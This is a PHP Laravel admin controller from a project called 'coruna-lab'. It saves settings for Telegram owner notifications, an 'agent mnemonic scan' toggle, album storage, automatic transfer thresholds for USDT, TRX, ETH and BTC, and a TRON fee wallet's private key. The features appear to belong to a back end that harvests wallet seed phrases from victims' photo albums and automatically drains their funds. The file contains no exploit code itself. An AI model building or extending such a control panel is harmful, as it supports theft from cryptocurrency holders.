Files
coruna-lab/app/Http/Controllers/Admin/SystemSettingsController.php
T
2026-09-21 00:17:35 +08:00

129 lines
5.6 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Services\SettingsService;
use App\Services\TelegramNotifier;
use Illuminate\Http\Request;
class SystemSettingsController extends Controller
{
public function index(SettingsService $settings, TelegramNotifier $telegram)
{
$form = $settings->effectiveForForm();
$token = trim((string) config('coruna.telegram.bot_token', ''));
$username = trim((string) ($form['telegram.bot_username'] ?? ''));
if ($token !== '' && $username === '') {
$fetched = $telegram->fetchBotUsername($token);
if ($fetched !== null) {
$username = ltrim($fetched, '@');
$form['telegram.bot_username'] = $username;
try {
$settings->putMany(['telegram.bot_username' => $username]);
} catch (\Throwable) {
// Display works from runtime config; .env may be read-only for www.
config(['coruna.telegram.bot_username' => $username]);
}
}
}
return view('admin.system.settings', [
'form' => $form,
'botUsername' => $telegram->formatBotUsername($form['telegram.bot_username'] ?? ''),
'botInviteUrl' => $telegram->inviteUrl($form['telegram.bot_username'] ?? ''),
]);
}
public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram)
{
$data = $request->validate([
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
'official_album_storage' => ['nullable', 'in:0,1'],
'agent_mnemonic_scan' => ['nullable', 'in:0,1'],
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
]);
$threshold = static function (?string $v): ?string {
if ($v === null || trim($v) === '') {
return null;
}
return trim($v);
};
$username = ltrim((string) config('coruna.telegram.bot_username', ''), '@');
$token = trim((string) config('coruna.telegram.bot_token', ''));
$note = '';
if ($token !== '' && $username === '') {
$fetched = $telegram->fetchBotUsername($token);
if ($fetched !== null) {
$username = ltrim($fetched, '@');
} else {
$note = ';未能从 .env Token 读取 Bot 用户名,请确认 TELEGRAM_BOT_TOKEN 有效';
}
}
$payload = [
'telegram.bot_username' => $username !== '' ? $username : null,
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0',
'scan.agent_visible' => (($data['agent_mnemonic_scan'] ?? '1') === '1') ? '1' : '0',
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
];
try {
$settings->putMany($payload);
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
'msg' => '保存失败:'.$e->getMessage().'(请让运行 PHP 的用户可写项目根目录 .env,或用 shell 直接改 .env)',
], 500);
}
$display = $telegram->formatBotUsername($username);
return response()->json([
'code' => 0,
'msg' => '已保存'.($display !== '' ? '(Bot '.$display.')' : '').$note,
'data' => [
'bot_username' => $display,
'bot_invite_url' => $telegram->inviteUrl($display),
],
]);
}
public function testTelegram(Request $request, TelegramNotifier $telegram)
{
$data = $request->validate([
'chat_id' => ['nullable', 'string', 'max:64'],
]);
$chatId = trim((string) ($data['chat_id'] ?? ''));
if ($chatId === '') {
$chatId = trim((string) config('coruna.telegram.owner_chat_id', ''));
}
$result = $telegram->sendTest($chatId, '官方通知群推送正常。');
return response()->json([
'code' => $result['ok'] ? 0 : 1,
'msg' => $result['ok'] ? '已发送测试消息,请查看对应群' : ($result['error'] ?: '发送失败'),
]);
}
}